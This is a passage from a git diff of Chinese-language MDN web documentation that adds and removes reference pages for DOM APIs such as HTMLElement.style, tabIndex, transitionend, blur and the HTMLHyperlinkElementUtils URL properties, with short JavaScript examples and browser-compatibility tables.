-elt.style.cssText = "color: blue; border: 1px solid black";
-// 或者
-elt.setAttribute("style", "color:red; border: 1px solid blue;");
-
-// 设置特定样式,同时保持其他内联样式值不变
-elt.style.color = "blue";
-
- -

获取元素样式信息

- -

通常,要了解元素样式的信息,仅仅使用 style 属性是不够的,这是因为它只包含了在元素内嵌 style 属性(attribute)上声明的的 CSS 属性,而不包括来自其他地方声明的样式,如 {{HTMLElement("head")}} 部分的内嵌样式表,或外部样式表。要获取一个元素的所有 CSS 属性,你应该使用 {{domxref("window.getComputedStyle()")}}。

- -
<!DOCTYPE HTML>
-<html>
-<body style="font-weight:bold;">
-
-    <div style="color:red" id="myElement">..</div>
-
- </body>
-</html>
- -

下面的代码输出 style 所有属性的名字,以及为元素 elt 显式设置的属性值和继承的计算值(computed value):

- -
var element = document.getElementById("myElement");
-var out = "";
-var elementStyle = element.style;
-var computedStyle = window.getComputedStyle(element, null);
-
-for (prop in elementStyle) {
-  if (elementStyle.hasOwnProperty(prop)) {
-    out += "  " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n";
-  }
-}
-console.log(out)
- -

输出结果如下:

- -
...
-fontWeight = '' > 'bold'
-color = 'red' > 'rgb(255, 0, 0)'
-...
-
- -

请注意,计算样式中font-weight的值为“bold”,元素的style属性中缺少该值

- -

规范

- -

DOM Level 2 Style: ElementCSSInlineStyle.style

- -

CSSOM: ElementCSSInlineStyle

- -

兼容性

- - - -

{{Compat("api.HTMLElement.style")}}

- -

相关链接

- - diff --git a/files/zh-cn/web/api/htmlelement/tabindex/index.html b/files/zh-cn/web/api/htmlelement/tabindex/index.html deleted file mode 100644 index 516c659c2a..0000000000 --- a/files/zh-cn/web/api/htmlelement/tabindex/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: HTMLElement.tabIndex -slug: Web/API/HTMLElement/tabIndex -translation_of: Web/API/HTMLOrForeignElement/tabIndex ---- -
-
{{ APIRef("HTML DOM") }}
-
- -

概述

- -

获取或设置当前元素的tab键激活顺序.

- -

语法

- -
element.tabIndex = index index = element.tabIndex
-
- -

参数

- - - -

Tab键的遍历顺序是这样的:

- -
    -
  1. 对于tabIndex值为正数的元素,如果多个元素的tabIndex值相同,则以他们出现在字符流中的次序来遍历;否则按tabIndex值由小到大的顺序来遍历。
  2. -
  3. 对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素,按照他们出现在字符流中的次序来遍历。
  4. -
  5. 处于不可用状态的元素不会被遍历到。
  6. -
- -

支持tabIndex属性的元素有:a,area,button,input,object,select和textarea

- -

tabIndex的值不需要是连续的,也不需要以某个特定值开始。

- -

例子

- -
var b1 = document.getElementById("button1");
-b1.tabIndex = 1;
-
- -

规范

- -

W3C DOM Level 2 HTML tabIndex

- -

了解更多,请查看: The solution: changes to standard behavior of tabindex

- -

{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/transitionend_event/index.html b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html new file mode 100644 index 0000000000..f79db8503a --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html @@ -0,0 +1,132 @@ +--- +title: transitionend +slug: Web/Events/transitionend +translation_of: Web/API/HTMLElement/transitionend_event +--- +
{{APIRef}}
+ +

transitionend 事件会在 CSS transition 结束后触发. 当transition完成前移除transition时,比如移除css的{{cssxref("transition-property")}} 属性,事件将不会被触发.如在transition完成前设置  {{cssxref("display")}} 为"none",事件同样不会被触发。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("TransitionEvent")}}
事件处理器属性{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}
+ +

transitionend 事件是双向触发的 - 当完成到转换状态的过渡,以及完全恢复到默认或非转换状态时都会触发。 如果没有过渡延迟或持续时间,即两者的值都为0s或者都未声明, 则不发生过渡,并且任何过渡事件都不会触发。如果触发了 transitioncancel 事件,则transitionend 事件不会触发。

+ +

+ +
/*
+ * 在指定的元素上监听transitionend事件, 例如#slidingMenu
+ * 然后指定一个函数, 例如 showMessage()
+ */
+function showMessage() {
+    console.log('Transition 已完成');
+}
+
+var element = document.getElementById("slidingMenu");
+element.addEventListener("transitionend", showMessage, false);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Transitions", "#transition-events", "transitionend")}}{{ Spec2('CSS3 Transitions') }}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0[1]
+ 36
{{CompatGeckoDesktop("2.0")}}1010.5[2]
+ 12
+ 12.10
+ 23
3.2[1]
+ 7.0.6
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}10[2]
+ 12
+ 12.10
3.2[1]
+
+ +

[1] 在 Chrome 1.0, Android 2.1 与 WebKit 3.2 上实现 webkitTransitionEnd. Chrome 36 与 WebKit 7.0.6 上请使用标准事件 transitionend.

+ +

[2] 在 Opera 10.5 上实现oTransitionEnd,从版本12开始实现 otransitionend, 从版本12.10开始实现 transitionend.

+ +

参考

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html new file mode 100644 index 0000000000..5d8cc21f43 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html @@ -0,0 +1,109 @@ +--- +title: HTMLHyperlinkElementUtils.hash +slug: Web/API/URLUtils/hash +tags: + - HTMLHyperlinkElementUtils.hash +translation_of: Web/API/HTMLHyperlinkElementUtils/hash +--- +

{{ APIRef("URLUtils") }}

+ +

HTMLHyperlinkElementUtils.hash 属性返回一个包含“#”的 {{domxref("DOMString")}} , 后跟URL的片段标识符。

+ +

片段没有百分比解码。如果URL没有包含片段标识符,这个属性为一个空的字符串, "".

+ +

Syntax

+ +
string = object.hash;
+object.hash = string;
+
+ +

Examples

+ +
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"> element be in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.hash; // Returns:'#youhou'
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-hash', 'HTMLHyperlinkElementUtils.hash')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface. Also, from Gecko 29 to Gecko 40, the returned value was incorrectly percent-decoded.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html new file mode 100644 index 0000000000..cff669766d --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html @@ -0,0 +1,108 @@ +--- +title: HTMLHyperlinkElementUtils.href +slug: Web/API/URLUtils/href +tags: + - HTMLHyperlinkElementUtils.href +translation_of: Web/API/HTMLHyperlinkElementUtils/href +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.href 属性是一个包含整个URL的 {{domxref("USVString")}}。

+ +

Syntax

+ +
string = object.href;
+object.href = string;
+
+ +

Examples

+ +
// Lets imagine an <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"> element is in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // Returns: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moved either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html new file mode 100644 index 0000000000..e8d6c719d9 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html @@ -0,0 +1,83 @@ +--- +title: URLUtils +slug: Web/API/URLUtils +translation_of: Web/API/HTMLHyperlinkElementUtils +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}}

+ +

The HTMLHyperlinkElementUtils mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.

+ +

There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.

+ +

属性

+ +
+

注意:This interface doesn't inherit any property.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.href")}}
+
This is a {{domxref("USVString")}} containing the whole URL.
+
{{domxref("HTMLHyperlinkElementUtils.protocol")}}
+
This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final ':'.
+
{{domxref("HTMLHyperlinkElementUtils.host")}}
+
This is a {{domxref("USVString")}} containing the host, that is the hostname, and then, if the port of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a ':', and the port of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hostname")}}
+
This is a {{domxref("USVString")}} containing the domain of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.port")}}
+
This is a {{domxref("USVString")}} containing the port number of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.pathname")}}
+
This is a {{domxref("USVString")}} containing an initial '/' followed by the path of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.search")}}
+
This is a {{domxref("USVString")}} containing a '?' followed by the parameters of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hash")}}
+
This is a {{domxref("USVString")}} containing a '#' followed by the fragment identifier of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.username")}}
+
This is a {{domxref("USVString")}} containing the username specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.password")}}
+
This is a {{domxref("USVString")}} containing the password specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}
+
This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).
+
+ +

方法

+ +
+

注意:This interface doesn't inherit any method.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.toString()")}}
+
This returns a {{domxref("USVString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLHyperlinkElementUtils")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html new file mode 100644 index 0000000000..d0f8d926ec --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLHyperlinkElementUtils.origin +slug: Web/API/URLUtils/origin +tags: + - HTMLHyperlinkElementUtils.origin +translation_of: Web/API/HTMLHyperlinkElementUtils/origin +--- +

{{APIRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.origin 只读属性是一个 {{domxref("USVString")}} ,其中包含代表URL的原始码的Unicode序列化,即:

+ + + +

{{AvailableInWorkers}}

+ +

Syntax

+ +
string = object.origin;
+
+ +

Examples

+ +
// On this page, returns the origin
+var result = window.location.origin; // Returns:'https://developer.mozilla.org'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-origin', 'HTMLHyperlinkElementUtils.origin')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

[4] Before Gecko 49, results for URL using the blob scheme incorrectly returned null.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html new file mode 100644 index 0000000000..99e9944875 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html @@ -0,0 +1,104 @@ +--- +title: HTMLHyperlinkElementUtils.password +slug: Web/API/URLUtils/password +tags: + - HTMLHyperlinkElementUtils.password +translation_of: Web/API/HTMLHyperlinkElementUtils/password +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.password property 属性是一个{{domxref("USVString")}} ,包含域名前面指定的密码。

+ +

如果在没有首先设置用户名属性的情况下设置,则会静默失败。

+ +

Syntax

+ +
string = object.password;
+object.password = string;
+
+ +

Examples

+ +
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.password; // Returns:'flabada'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-prassword', 'HTMLHyperlinkElementUtils.password')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html new file mode 100644 index 0000000000..203da5393a --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLHyperlinkElementUtils.pathname +slug: Web/API/URLUtils/pathname +tags: + - HTMLHyperlinkElementUtils.pathname +translation_of: Web/API/HTMLHyperlinkElementUtils/pathname +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.pathname 属性是一个 {{domxref("USVString")}} ,其中包含一个初始的'/'后跟URL的路径。

+ +

Syntax

+ +
string = object.pathname;
+object.pathname = string;
+
+ +

Examples

+ +
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"> element be in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.pathname; // Returns:'/en-US/docs/HTMLHyperlinkElementUtils.pathname'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-pathname', 'HTMLHyperlinkElementUtils.pathname')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoDesktop("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoMobile("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

[4] Before Firefox 53, the pathname and search HTMLHyperLinkElementUtils properties returned the wrong parts of the URL. For example, for a URL of http://z.com/x?a=true&b=false, pathname would return "/x?a=true&b=false" and search would return "", rather than "/x" and "?a=true&b=false" respectively. This has now been fixed.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html new file mode 100644 index 0000000000..4c9c8ae554 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLHyperlinkElementUtils.search +slug: Web/API/URLUtils/search +tags: + - HTMLHyperlinkElementUtils.search +translation_of: Web/API/HTMLHyperlinkElementUtils/search +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.search 属性是一个搜索字符串,也叫做查询字符串, 它是一个 {{domxref("USVString")}} ,包含 '?' 和随后的 URL 参数。

+ +

语法

+ +
string = object.search;
+object.search = string;
+
+ +

示例

+ +
// 让一个
+// <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123" />
+//  元素在文档里
+
+let anchor = document.getElementById("myAnchor");
+let result = anchor.search;
+// 返回:'?q=123'
+
+ +

 

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-search', 'HTMLHyperlinkElementUtils.search')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
+
+ +

[1] 自Chrome 52起,该属性移至{{domxref('URL')}}

+ +

[2] 虽然没有被分在一个独立的抽象接口,但该方法可以在实现了它的那些接口上直接使用,如果支持该接口。

+ +

[3] 从Gecko 22 到 Gecko 44,该属性在 URLUtils mixin 上。它已经被移到 HTMLHyperlinkElementUtils mixin,或者直接在这个接口上。

+ +

[4] 在 Firefox 53之前, pathname search HTMLHyperLinkElementUtils 属性返回的URL部分是错误的。例如,对一个值为 http://z.com/x?a=true&b=false 的URL,pathname 会返回"/x?a=true&b=false" ,search 会返回 "", 而不是各自返回 "/x" 和"?a=true&b=false" 。这已经被修正了。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html new file mode 100644 index 0000000000..172ffda98b --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLHyperlinkElementUtils.toString() +slug: Web/API/URLUtils/toString +tags: + - HTMLHyperlinkElementUtils.toString() + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/toString +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.toString() 方法返回一个包含整个URL的 {{domxref("USVString")}} 。它是{{domxref("HTMLHyperlinkElementUtils.href")}} 的一个只读版本。

+ +

句法

+ +
string = object.toString();
+ +

范例

+ +
/*
+Let's imagine an
+<a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString">
+ element is in the document
+*/
+var anchor = document.getElementById("myAnchor");
+var result = anchor.toString();
+// Returns: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils.toString()')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(52)}}{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[2] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html new file mode 100644 index 0000000000..2e7a101f9f --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html @@ -0,0 +1,102 @@ +--- +title: HTMLHyperlinkElementUtils.username +slug: Web/API/URLUtils/username +tags: + - HTMLHyperlinkElementUtils.username +translation_of: Web/API/HTMLHyperlinkElementUtils/username +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.username 属性是一个 {{domxref("USVString")}}包含域名前面指定的用户名。

+ +

Syntax

+ +
string = object.username;
+object.username = string;
+
+ +

Examples

+ +
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.username; // Returns:'anonymous'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-username', 'HTMLHyperlinkElementUtils.username')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html b/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html deleted file mode 100644 index 0cccf89889..0000000000 --- a/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: HTMLInputElement.mozSetFileNameArray -slug: Web/API/HTMLInputElement/mozSetFileNameArray -translation_of: Web/API/HTMLInputElement -translation_of_original: Web/API/HTMLInputElement/mozSetFileNameArray ---- -
-
-
-
{{APIRef("HTML DOM")}}
-
-
-{{gecko_minversion_header("1.9.2")}}
- -

概述

- -

设置一个HTML input元素中选中的若干文件的路径以及文件名.

- -
注: 该方法是Gecko私有的方法,在其他浏览器中不可用,且是个特权方法,不能在普通网页中使用.
- -

语法

- -
inputElement.mozSetFileNameArray(aFileNames, aLength);
-
- -

参数

- - - -

示例

- -
var fileArray = {"/foo/bar.txt", "/foo/foosball.txt"};
-
-inputElement.mozSetFileNameArray(fileArray, fileArray.length);
-
- -

规范

- -

非标准,Mozilla私有方法.

- -

相关链接

- - diff --git a/files/zh-cn/web/api/htmlorforeignelement/blur/index.html b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html new file mode 100644 index 0000000000..96452abcc0 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html @@ -0,0 +1,24 @@ +--- +title: HTMLElement.blur() +slug: Web/API/HTMLElement/blur +tags: + - API + - HTML DOM + - HTMLElement + - Method + - Reference +translation_of: Web/API/HTMLOrForeignElement/blur +--- +

{{ APIRef() }}

+

概述

+

blur方法用来移除当前元素所获得的键盘焦点.

+

语法

+
element.blur()
+
+

规范

+

blur

+

相关链接

+ +

{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}

diff --git a/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html new file mode 100644 index 0000000000..63ab5f48e8 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +tags: + - HTMLElement.dataset +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +

{{ APIRef }}

+ +

